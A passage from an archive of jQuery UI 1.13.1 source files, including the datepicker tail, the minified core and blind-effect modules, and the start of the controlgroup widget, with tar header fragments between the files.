}, /* Is the given date in the accepted range? */ _isInRange: function( inst, date ) { var yearSplit, currentYear, minDate = this._getMinMaxDate( inst, "min" ), maxDate = this._getMinMaxDate( inst, "max" ), minYear = null, maxYear = null, years = this._get( inst, "yearRange" ); if ( years ) { yearSplit = years.split( ":" ); currentYear = new Date().getFullYear(); minYear = parseInt( yearSplit[ 0 ], 10 ); maxYear = parseInt( yearSplit[ 1 ], 10 ); if ( yearSplit[ 0 ].match( /[+\-].*/ ) ) { minYear += currentYear; } if ( yearSplit[ 1 ].match( /[+\-].*/ ) ) { maxYear += currentYear; } } return ( ( !minDate || date.getTime() >= minDate.getTime() ) && ( !maxDate || date.getTime() <= maxDate.getTime() ) && ( !minYear || date.getFullYear() >= minYear ) && ( !maxYear || date.getFullYear() <= maxYear ) ); }, /* Provide the configuration settings for formatting/parsing. */ _getFormatConfig: function( inst ) { var shortYearCutoff = this._get( inst, "shortYearCutoff" ); shortYearCutoff = ( typeof shortYearCutoff !== "string" ? shortYearCutoff : new Date().getFullYear() % 100 + parseInt( shortYearCutoff, 10 ) ); return { shortYearCutoff: shortYearCutoff, dayNamesShort: this._get( inst, "dayNamesShort" ), dayNames: this._get( inst, "dayNames" ), monthNamesShort: this._get( inst, "monthNamesShort" ), monthNames: this._get( inst, "monthNames" ) }; }, /* Format the given date for display. */ _formatDate: function( inst, day, month, year ) { if ( !day ) { inst.currentDay = inst.selectedDay; inst.currentMonth = inst.selectedMonth; inst.currentYear = inst.selectedYear; } var date = ( day ? ( typeof day === "object" ? day : this._daylightSavingAdjust( new Date( year, month, day ) ) ) : this._daylightSavingAdjust( new Date( inst.currentYear, inst.currentMonth, inst.currentDay ) ) ); return this.formatDate( this._get( inst, "dateFormat" ), date, this._getFormatConfig( inst ) ); } } ); /* * Bind hover events for datepicker elements. * Done via delegate so the binding only occurs once in the lifetime of the parent div. * Global datepicker_instActive, set by _updateDatepicker allows the handlers to find their way back to the active picker. */ function datepicker_bindHover( dpDiv ) { var selector = "button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a"; return dpDiv.on( "mouseout", selector, function() { $( this ).removeClass( "ui-state-hover" ); if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) { $( this ).removeClass( "ui-datepicker-prev-hover" ); } if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) { $( this ).removeClass( "ui-datepicker-next-hover" ); } } ) .on( "mouseover", selector, datepicker_handleMouseover ); } function datepicker_handleMouseover() { if ( !$.datepicker._isDisabledDatepicker( datepicker_instActive.inline ? datepicker_instActive.dpDiv.parent()[ 0 ] : datepicker_instActive.input[ 0 ] ) ) { $( this ).parents( ".ui-datepicker-calendar" ).find( "a" ).removeClass( "ui-state-hover" ); $( this ).addClass( "ui-state-hover" ); if ( this.className.indexOf( "ui-datepicker-prev" ) !== -1 ) { $( this ).addClass( "ui-datepicker-prev-hover" ); } if ( this.className.indexOf( "ui-datepicker-next" ) !== -1 ) { $( this ).addClass( "ui-datepicker-next-hover" ); } } } /* jQuery extend now ignores nulls! */ function datepicker_extendRemove( target, props ) { $.extend( target, props ); for ( var name in props ) { if ( props[ name ] == null ) { target[ name ] = props[ name ]; } } return target; } /* Invoke the datepicker functionality. @param options string - a command, optionally followed by additional parameters or Object - settings for attaching new datepicker functionality @return jQuery object */ $.fn.datepicker = function( options ) { /* Verify an empty collection wasn't passed - Fixes #6976 */ if ( !this.length ) { return this; } /* Initialise the date picker. */ if ( !$.datepicker.initialized ) { $( document ).on( "mousedown", $.datepicker._checkExternalClick ); $.datepicker.initialized = true; } /* Append datepicker main container to body if not exist. */ if ( $( "#" + $.datepicker._mainDivId ).length === 0 ) { $( "body" ).append( $.datepicker.dpDiv ); } var otherArgs = Array.prototype.slice.call( arguments, 1 ); if ( typeof options === "string" && ( options === "isDisabled" || options === "getDate" || options === "widget" ) ) { return $.datepicker[ "_" + options + "Datepicker" ]. apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) ); } if ( options === "option" && arguments.length === 2 && typeof arguments[ 1 ] === "string" ) { return $.datepicker[ "_" + options + "Datepicker" ]. apply( $.datepicker, [ this[ 0 ] ].concat( otherArgs ) ); } return this.each( function() { if ( typeof options === "string" ) { $.datepicker[ "_" + options + "Datepicker" ] .apply( $.datepicker, [ this ].concat( otherArgs ) ); } else { $.datepicker._attachDatepicker( this, options ); } } ); }; $.datepicker = new Datepicker(); // singleton instance $.datepicker.initialized = false; $.datepicker.uuid = new Date().getTime(); $.datepicker.version = "1.13.1"; return $.datepicker; } ); ��������������������������������js/jquery/ui/core.min.js����������������������������������������������������������������������������0000644�����������������00000050353�14717703502�0011200 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery UI - v1.13.1 - 2022-01-20 * http://jqueryui.com * Includes: data.js, disable-selection.js, escape-selector.js, focusable.js, form-reset-mixin.js, form.js, ie.js, jquery-1-7.js, keycode.js, labels.js, plugin.js, position.js, safe-active-element.js, safe-blur.js, scroll-parent.js, tabbable.js, unique-id.js, version.js, widget.js * Copyright jQuery Foundation and other contributors; Licensed */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(x){"use strict";var t,e,i,n,W,C,o,s,r,l,a,h,u;function E(t,e,i){return[parseFloat(t[0])*(a.test(t[0])?e/100:1),parseFloat(t[1])*(a.test(t[1])?i/100:1)]}function L(t,e){return parseInt(x.css(t,e),10)||0}function N(t){return null!=t&&t===t.window}x.ui=x.ui||{},x.ui.version="1.13.1", /*! * jQuery UI :data 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.extend(x.expr.pseudos,{data:x.expr.createPseudo?x.expr.createPseudo(function(e){return function(t){return!!x.data(t,e)}}):function(t,e,i){return!!x.data(t,i[3])}}), /*! * jQuery UI Disable Selection 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.fn.extend({disableSelection:(t="onselectstart"in document.createElement("div")?"selectstart":"mousedown",function(){return this.on(t+".ui-disableSelection",function(t){t.preventDefault()})}),enableSelection:function(){return this.off(".ui-disableSelection")}}), /*! * jQuery UI Focusable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.ui.focusable=function(t,e){var i,n,o,s=t.nodeName.toLowerCase();return"area"===s?(o=(i=t.parentNode).name,!(!t.href||!o||"map"!==i.nodeName.toLowerCase())&&(0<(i=x("img[usemap='#"+o+"']")).length&&i.is(":visible"))):(/^(input|select|textarea|button|object)$/.test(s)?(n=!t.disabled)&&(o=x(t).closest("fieldset")[0])&&(n=!o.disabled):n="a"===s&&t.href||e,n&&x(t).is(":visible")&&function(t){var e=t.css("visibility");for(;"inherit"===e;)t=t.parent(),e=t.css("visibility");return"visible"===e}(x(t)))},x.extend(x.expr.pseudos,{focusable:function(t){return x.ui.focusable(t,null!=x.attr(t,"tabindex"))}}),x.fn._form=function(){return"string"==typeof this[0].form?this.closest("form"):x(this[0].form)}, /*! * jQuery UI Form Reset Mixin 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.ui.formResetMixin={_formResetHandler:function(){var e=x(this);setTimeout(function(){var t=e.data("ui-form-reset-instances");x.each(t,function(){this.refresh()})})},_bindFormResetHandler:function(){var t;this.form=this.element._form(),this.form.length&&((t=this.form.data("ui-form-reset-instances")||[]).length||this.form.on("reset.ui-form-reset",this._formResetHandler),t.push(this),this.form.data("ui-form-reset-instances",t))},_unbindFormResetHandler:function(){var t;this.form.length&&((t=this.form.data("ui-form-reset-instances")).splice(x.inArray(this,t),1),t.length?this.form.data("ui-form-reset-instances",t):this.form.removeData("ui-form-reset-instances").off("reset.ui-form-reset"))}},x.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()), /*! * jQuery UI Support for jQuery core 1.8.x and newer 1.13.0 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * */ x.expr.pseudos||(x.expr.pseudos=x.expr[":"]),x.uniqueSort||(x.uniqueSort=x.unique),x.escapeSelector||(e=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,i=function(t,e){return e?"\0"===t?"�":t.slice(0,-1)+"\\"+t.charCodeAt(t.length-1).toString(16)+" ":"\\"+t},x.escapeSelector=function(t){return(t+"").replace(e,i)}),x.fn.even&&x.fn.odd||x.fn.extend({even:function(){return this.filter(function(t){return t%2==0})},odd:function(){return this.filter(function(t){return t%2==1})}}), /*! * jQuery UI Keycode 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}, /*! * jQuery UI Labels 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.fn.labels=function(){var t,e,i;return this.length?this[0].labels&&this[0].labels.length?this.pushStack(this[0].labels):(e=this.eq(0).parents("label"),(t=this.attr("id"))&&(i=(i=this.eq(0).parents().last()).add((i.length?i:this).siblings()),t="label[for='"+x.escapeSelector(t)+"']",e=e.add(i.find(t).addBack(t))),this.pushStack(e)):this.pushStack([])},x.ui.plugin={add:function(t,e,i){var n,o=x.ui[t].prototype;for(n in i)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([e,i[n]])},call:function(t,e,i,n){var o,s=t.plugins[e];if(s&&(n||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(o=0;o<s.length;o++)t.options[s[o][0]]&&s[o][1].apply(t.element,i)}}, /*! * jQuery UI Position 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license * * http://api.jqueryui.com/position/ */ W=Math.max,C=Math.abs,o=/left|center|right/,s=/top|center|bottom/,r=/[\+\-]\d+(\.[\d]+)?%?/,l=/^\w+/,a=/%$/,h=x.fn.position,x.position={scrollbarWidth:function(){if(void 0!==n)return n;var t,e=x("<div style='display:block;position:absolute;width:200px;height:200px;overflow:hidden;'><div style='height:300px;width:auto;'></div></div>"),i=e.children()[0];return x("body").append(e),t=i.offsetWidth,e.css("overflow","scroll"),t===(i=i.offsetWidth)&&(i=e[0].clientWidth),e.remove(),n=t-i},getScrollInfo:function(t){var e=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),i=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),e="scroll"===e||"auto"===e&&t.width<t.element[0].scrollWidth;return{width:"scroll"===i||"auto"===i&&t.height<t.element[0].scrollHeight?x.position.scrollbarWidth():0,height:e?x.position.scrollbarWidth():0}},getWithinInfo:function(t){var e=x(t||window),i=N(e[0]),n=!!e[0]&&9===e[0].nodeType;return{element:e,isWindow:i,isDocument:n,offset:!i&&!n?x(t).offset():{left:0,top:0},scrollLeft:e.scrollLeft(),scrollTop:e.scrollTop(),width:e.outerWidth(),height:e.outerHeight()}}},x.fn.position=function(f){if(!f||!f.of)return h.apply(this,arguments);var c,d,p,g,m,t,v="string"==typeof(f=x.extend({},f)).of?x(document).find(f.of):x(f.of),y=x.position.getWithinInfo(f.within),w=x.position.getScrollInfo(y),b=(f.collision||"flip").split(" "),_={},e=9===(e=(t=v)[0]).nodeType?{width:t.width(),height:t.height(),offset:{top:0,left:0}}:N(e)?{width:t.width(),height:t.height(),offset:{top:t.scrollTop(),left:t.scrollLeft()}}:e.preventDefault?{width:0,height:0,offset:{top:e.pageY,left:e.pageX}}:{width:t.outerWidth(),height:t.outerHeight(),offset:t.offset()};return v[0].preventDefault&&(f.at="left top"),d=e.width,p=e.height,m=x.extend({},g=e.offset),x.each(["my","at"],function(){var t,e,i=(f[this]||"").split(" ");(i=1===i.length?o.test(i[0])?i.concat(["center"]):s.test(i[0])?["center"].concat(i):["center","center"]:i)[0]=o.test(i[0])?i[0]:"center",i[1]=s.test(i[1])?i[1]:"center",t=r.exec(i[0]),e=r.exec(i[1]),_[this]=[t?t[0]:0,e?e[0]:0],f[this]=[l.exec(i[0])[0],l.exec(i[1])[0]]}),1===b.length&&(b[1]=b[0]),"right"===f.at[0]?m.left+=d:"center"===f.at[0]&&(m.left+=d/2),"bottom"===f.at[1]?m.top+=p:"center"===f.at[1]&&(m.top+=p/2),c=E(_.at,d,p),m.left+=c[0],m.top+=c[1],this.each(function(){var i,t,r=x(this),l=r.outerWidth(),a=r.outerHeight(),e=L(this,"marginLeft"),n=L(this,"marginTop"),o=l+e+L(this,"marginRight")+w.width,s=a+n+L(this,"marginBottom")+w.height,h=x.extend({},m),u=E(_.my,r.outerWidth(),r.outerHeight());"right"===f.my[0]?h.left-=l:"center"===f.my[0]&&(h.left-=l/2),"bottom"===f.my[1]?h.top-=a:"center"===f.my[1]&&(h.top-=a/2),h.left+=u[0],h.top+=u[1],i={marginLeft:e,marginTop:n},x.each(["left","top"],function(t,e){x.ui.position[b[t]]&&x.ui.position[b[t]][e](h,{targetWidth:d,targetHeight:p,elemWidth:l,elemHeight:a,collisionPosition:i,collisionWidth:o,collisionHeight:s,offset:[c[0]+u[0],c[1]+u[1]],my:f.my,at:f.at,within:y,elem:r})}),f.using&&(t=function(t){var e=g.left-h.left,i=e+d-l,n=g.top-h.top,o=n+p-a,s={target:{element:v,left:g.left,top:g.top,width:d,height:p},element:{element:r,left:h.left,top:h.top,width:l,height:a},horizontal:i<0?"left":0<e?"right":"center",vertical:o<0?"top":0<n?"bottom":"middle"};d<l&&C(e+i)<d&&(s.horizontal="center"),p<a&&C(n+o)<p&&(s.vertical="middle"),W(C(e),C(i))>W(C(n),C(o))?s.important="horizontal":s.important="vertical",f.using.call(this,t,s)}),r.offset(x.extend(h,{using:t}))})},x.ui.position={fit:{left:function(t,e){var i,n=e.within,o=n.isWindow?n.scrollLeft:n.offset.left,n=n.width,s=t.left-e.collisionPosition.marginLeft,r=o-s,l=s+e.collisionWidth-n-o;e.collisionWidth>n?0<r&&l<=0?(i=t.left+r+e.collisionWidth-n-o,t.left+=r-i):t.left=!(0<l&&r<=0)&&l<r?o+n-e.collisionWidth:o:0<r?t.left+=r:0<l?t.left-=l:t.left=W(t.left-s,t.left)},top:function(t,e){var i,n=e.within,n=n.isWindow?n.scrollTop:n.offset.top,o=e.within.height,s=t.top-e.collisionPosition.marginTop,r=n-s,l=s+e.collisionHeight-o-n;e.collisionHeight>o?0<r&&l<=0?(i=t.top+r+e.collisionHeight-o-n,t.top+=r-i):t.top=!(0<l&&r<=0)&&l<r?n+o-e.collisionHeight:n:0<r?t.top+=r:0<l?t.top-=l:t.top=W(t.top-s,t.top)}},flip:{left:function(t,e){var i=e.within,n=i.offset.left+i.scrollLeft,o=i.width,i=i.isWindow?i.scrollLeft:i.offset.left,s=t.left-e.collisionPosition.marginLeft,r=s-i,s=s+e.collisionWidth-o-i,l="left"===e.my[0]?-e.elemWidth:"right"===e.my[0]?e.elemWidth:0,a="left"===e.at[0]?e.targetWidth:"right"===e.at[0]?-e.targetWidth:0,h=-2*e.offset[0];r<0?((o=t.left+l+a+h+e.collisionWidth-o-n)<0||o<C(r))&&(t.left+=l+a+h):0<s&&(0<(n=t.left-e.collisionPosition.marginLeft+l+a+h-i)||C(n)<s)&&(t.left+=l+a+h)},top:function(t,e){var i=e.within,n=i.offset.top+i.scrollTop,o=i.height,i=i.isWindow?i.scrollTop:i.offset.top,s=t.top-e.collisionPosition.marginTop,r=s-i,s=s+e.collisionHeight-o-i,l="top"===e.my[1]?-e.elemHeight:"bottom"===e.my[1]?e.elemHeight:0,a="top"===e.at[1]?e.targetHeight:"bottom"===e.at[1]?-e.targetHeight:0,h=-2*e.offset[1];r<0?((o=t.top+l+a+h+e.collisionHeight-o-n)<0||o<C(r))&&(t.top+=l+a+h):0<s&&(0<(n=t.top-e.collisionPosition.marginTop+l+a+h-i)||C(n)<s)&&(t.top+=l+a+h)}},flipfit:{left:function(){x.ui.position.flip.left.apply(this,arguments),x.ui.position.fit.left.apply(this,arguments)},top:function(){x.ui.position.flip.top.apply(this,arguments),x.ui.position.fit.top.apply(this,arguments)}}},x.ui.safeActiveElement=function(e){var i;try{i=e.activeElement}catch(t){i=e.body}return i=(i=i||e.body).nodeName?i:e.body},x.ui.safeBlur=function(t){t&&"body"!==t.nodeName.toLowerCase()&&x(t).trigger("blur")}, /*! * jQuery UI Scroll Parent 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.fn.scrollParent=function(t){var e=this.css("position"),i="absolute"===e,n=t?/(auto|scroll|hidden)/:/(auto|scroll)/,t=this.parents().filter(function(){var t=x(this);return(!i||"static"!==t.css("position"))&&n.test(t.css("overflow")+t.css("overflow-y")+t.css("overflow-x"))}).eq(0);return"fixed"!==e&&t.length?t:x(this[0].ownerDocument||document)}, /*! * jQuery UI Tabbable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.extend(x.expr.pseudos,{tabbable:function(t){var e=x.attr(t,"tabindex"),i=null!=e;return(!i||0<=e)&&x.ui.focusable(t,i)}}), /*! * jQuery UI Unique ID 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ x.fn.extend({uniqueId:(u=0,function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++u)})}),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&x(this).removeAttr("id")})}}); /*! * jQuery UI Widget 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ var f,c=0,d=Array.prototype.hasOwnProperty,p=Array.prototype.slice;x.cleanData=(f=x.cleanData,function(t){for(var e,i,n=0;null!=(i=t[n]);n++)(e=x._data(i,"events"))&&e.remove&&x(i).triggerHandler("remove");f(t)}),x.widget=function(t,i,e){var n,o,s,r={},l=t.split(".")[0],a=l+"-"+(t=t.split(".")[1]);return e||(e=i,i=x.Widget),Array.isArray(e)&&(e=x.extend.apply(null,[{}].concat(e))),x.expr.pseudos[a.toLowerCase()]=function(t){return!!x.data(t,a)},x[l]=x[l]||{},n=x[l][t],o=x[l][t]=function(t,e){if(!this||!this._createWidget)return new o(t,e);arguments.length&&this._createWidget(t,e)},x.extend(o,n,{version:e.version,_proto:x.extend({},e),_childConstructors:[]}),(s=new i).options=x.widget.extend({},s.options),x.each(e,function(e,n){function o(){return i.prototype[e].apply(this,arguments)}function s(t){return i.prototype[e].apply(this,t)}r[e]="function"!=typeof n?n:function(){var t,e=this._super,i=this._superApply;return this._super=o,this._superApply=s,t=n.apply(this,arguments),this._super=e,this._superApply=i,t}}),o.prototype=x.widget.extend(s,{widgetEventPrefix:n&&s.widgetEventPrefix||t},r,{constructor:o,namespace:l,widgetName:t,widgetFullName:a}),n?(x.each(n._childConstructors,function(t,e){var i=e.prototype;x.widget(i.namespace+"."+i.widgetName,o,e._proto)}),delete n._childConstructors):i._childConstructors.push(o),x.widget.bridge(t,o),o},x.widget.extend=function(t){for(var e,i,n=p.call(arguments,1),o=0,s=n.length;o<s;o++)for(e in n[o])i=n[o][e],d.call(n[o],e)&&void 0!==i&&(x.isPlainObject(i)?t[e]=x.isPlainObject(t[e])?x.widget.extend({},t[e],i):x.widget.extend({},i):t[e]=i);return t},x.widget.bridge=function(s,e){var r=e.prototype.widgetFullName||s;x.fn[s]=function(i){var t="string"==typeof i,n=p.call(arguments,1),o=this;return t?this.length||"instance"!==i?this.each(function(){var t,e=x.data(this,r);return"instance"===i?(o=e,!1):e?"function"!=typeof e[i]||"_"===i.charAt(0)?x.error("no such method '"+i+"' for "+s+" widget instance"):(t=e[i].apply(e,n))!==e&&void 0!==t?(o=t&&t.jquery?o.pushStack(t.get()):t,!1):void 0:x.error("cannot call methods on "+s+" prior to initialization; attempted to call method '"+i+"'")}):o=void 0:(n.length&&(i=x.widget.extend.apply(null,[i].concat(n))),this.each(function(){var t=x.data(this,r);t?(t.option(i||{}),t._init&&t._init()):x.data(this,r,new e(i,this))})),o}},x.Widget=function(){},x.Widget._childConstructors=[],x.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,e){e=x(e||this.defaultElement||this)[0],this.element=x(e),this.uuid=c++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=x(),this.hoverable=x(),this.focusable=x(),this.classesElementLookup={},e!==this&&(x.data(e,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===e&&this.destroy()}}),this.document=x(e.style?e.ownerDocument:e.document||e),this.window=x(this.document[0].defaultView||this.document[0].parentWindow)),this.options=x.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:x.noop,_create:x.noop,_init:x.noop,destroy:function(){var i=this;this._destroy(),x.each(this.classesElementLookup,function(t,e){i._removeClass(e,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:x.noop,widget:function(){return this.element},option:function(t,e){var i,n,o,s=t;if(0===arguments.length)return x.widget.extend({},this.options);if("string"==typeof t)if(s={},t=(i=t.split(".")).shift(),i.length){for(n=s[t]=x.widget.extend({},this.options[t]),o=0;o<i.length-1;o++)n[i[o]]=n[i[o]]||{},n=n[i[o]];if(t=i.pop(),1===arguments.length)return void 0===n[t]?null:n[t];n[t]=e}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];s[t]=e}return this._setOptions(s),this},_setOptions:function(t){for(var e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(t){var e,i,n;for(e in t)n=this.classesElementLookup[e],t[e]!==this.options.classes[e]&&n&&n.length&&(i=x(n.get()),this._removeClass(n,e),i.addClass(this._classes({element:i,keys:e,classes:t,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(o){var s=[],r=this;function t(t,e){for(var i,n=0;n<t.length;n++)i=r.classesElementLookup[t[n]]||x(),i=o.add?(function(){var i=[];o.element.each(function(t,e){x.map(r.classesElementLookup,function(t){return t}).some(function(t){return t.is(e)})||i.push(e)}),r._on(x(i),{remove:"_untrackClassesElement"})}(),x(x.uniqueSort(i.get().concat(o.element.get())))):x(i.not(o.element).get()),r.classesElementLookup[t[n]]=i,s.push(t[n]),e&&o.classes[t[n]]&&s.push(o.classes[t[n]])}return(o=x.extend({element:this.element,classes:this.options.classes||{}},o)).keys&&t(o.keys.match(/\S+/g)||[],!0),o.extra&&t(o.extra.match(/\S+/g)||[]),s.join(" ")},_untrackClassesElement:function(i){var n=this;x.each(n.classesElementLookup,function(t,e){-1!==x.inArray(i.target,e)&&(n.classesElementLookup[t]=x(e.not(i.target).get()))}),this._off(x(i.target))},_removeClass:function(t,e,i){return this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,n){var o="string"==typeof t||null===t,e={extra:o?e:i,keys:o?t:e,element:o?this.element:t,add:n="boolean"==typeof n?n:i};return e.element.toggleClass(this._classes(e),n),this},_on:function(o,s,t){var r,l=this;"boolean"!=typeof o&&(t=s,s=o,o=!1),t?(s=r=x(s),this.bindings=this.bindings.add(s)):(t=s,s=this.element,r=this.widget()),x.each(t,function(t,e){function i(){if(o||!0!==l.options.disabled&&!x(this).hasClass("ui-state-disabled"))return("string"==typeof e?l[e]:e).apply(l,arguments)}"string"!=typeof e&&(i.guid=e.guid=e.guid||i.guid||x.guid++);var t=t.match(/^([\w:-]*)\s*(.*)$/),n=t[1]+l.eventNamespace,t=t[2];t?r.on(n,t,i):s.on(n,i)})},_off:function(t,e){e=(e||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.off(e),this.bindings=x(this.bindings.not(t).get()),this.focusable=x(this.focusable.not(t).get()),this.hoverable=x(this.hoverable.not(t).get())},_delay:function(t,e){var i=this;return setTimeout(function(){return("string"==typeof t?i[t]:t).apply(i,arguments)},e||0)},_hoverable:function(t){this.hoverable=this.hoverable.add(t),this._on(t,{mouseenter:function(t){this._addClass(x(t.currentTarget),null,"ui-state-hover")},mouseleave:function(t){this._removeClass(x(t.currentTarget),null,"ui-state-hover")}})},_focusable:function(t){this.focusable=this.focusable.add(t),this._on(t,{focusin:function(t){this._addClass(x(t.currentTarget),null,"ui-state-focus")},focusout:function(t){this._removeClass(x(t.currentTarget),null,"ui-state-focus")}})},_trigger:function(t,e,i){var n,o,s=this.options[t];if(i=i||{},(e=x.Event(e)).type=(t===this.widgetEventPrefix?t:this.widgetEventPrefix+t).toLowerCase(),e.target=this.element[0],o=e.originalEvent)for(n in o)n in e||(e[n]=o[n]);return this.element.trigger(e,i),!("function"==typeof s&&!1===s.apply(this.element[0],[e].concat(i))||e.isDefaultPrevented())}},x.each({show:"fadeIn",hide:"fadeOut"},function(s,r){x.Widget.prototype["_"+s]=function(e,t,i){var n,o=(t="string"==typeof t?{effect:t}:t)?!0!==t&&"number"!=typeof t&&t.effect||r:s;"number"==typeof(t=t||{})?t={duration:t}:!0===t&&(t={}),n=!x.isEmptyObject(t),t.complete=i,t.delay&&e.delay(t.delay),n&&x.effects&&x.effects.effect[o]?e[s](t):o!==s&&e[o]?e[o](t.duration,t.easing,i):e.queue(function(t){x(this)[s](),i&&i.call(e[0]),t()})}})});�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-blind.min.js��������������������������������������������������������������������0000644�����������������00000001540�14717703502�0012564 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Blind 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(r){"use strict";return r.effects.define("blind","hide",function(e,t){var i={up:["bottom","top"],vertical:["bottom","top"],down:["top","bottom"],left:["right","left"],horizontal:["right","left"],right:["left","right"]},o=r(this),c=e.direction||"up",n=o.cssClip(),f={clip:r.extend({},n)},l=r.effects.createPlaceholder(o);f.clip[i[c][0]]=f.clip[i[c][1]],"show"===e.mode&&(o.cssClip(f.clip),l&&l.css(r.effects.clipToBox(f)),f.clip=n),l&&l.animate(r.effects.clipToBox(f),e.duration,e.easing),o.animate(f,{queue:!1,duration:e.duration,easing:e.easing,complete:t})})});����������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/controlgroup.js������������������������������������������������������������������������0000644�����������������00000020653�14717703502�0012223 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Controlgroup 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Controlgroup //>>group: Widgets //>>description: Visually groups form control widgets //>>docs: http://api.jqueryui.com/controlgroup/ //>>demos: http://jqueryui.com/controlgroup/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/controlgroup.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; var controlgroupCornerRegex = /ui-corner-([a-z]){2,6}/g; return $.widget( "ui.controlgroup", { version: "1.13.1", defaultElement: "<div>", options: { direction: "horizontal", disabled: null, onlyVisible: true, items: { "button": "input[type=button], input[type=submit], input[type=reset], button, a", "controlgroupLabel": ".ui-controlgroup-label", "checkboxradio": "input[type='checkbox'], input[type='radio']", "selectmenu": "select", "spinner": ".ui-spinner-input" } }, _create: function() { this._enhance(); }, // To support the enhanced option in jQuery Mobile, we isolate DOM manipulation _enhance: function() { this.element.attr( "role", "toolbar" ); this.refresh(); }, _destroy: function() { this._callChildMethod( "destroy" ); this.childWidgets.removeData( "ui-controlgroup-data" ); this.element.removeAttr( "role" ); if ( this.options.items.controlgroupLabel ) { this.element .find( this.options.items.controlgroupLabel ) .find( ".ui-controlgroup-label-contents" ) .contents().unwrap(); } }, _initWidgets: function() { var that = this, childWidgets = []; // First we iterate over each of the items options $.each( this.options.items, function( widget, selector ) { var labels; var options = {}; // Make sure the widget has a selector set if ( !selector ) { return; } if ( widget === "controlgroupLabel" ) { labels = that.element.find( selector ); labels.each( function() { var element = $( this ); if ( element.children( ".ui-controlgroup-label-contents" ).length ) { return; } element.contents() .wrapAll( "<span class='ui-controlgroup-label-contents'></span>" ); } ); that._addClass( labels, null, "ui-widget ui-widget-content ui-state-default" ); childWidgets = childWidgets.concat( labels.get() 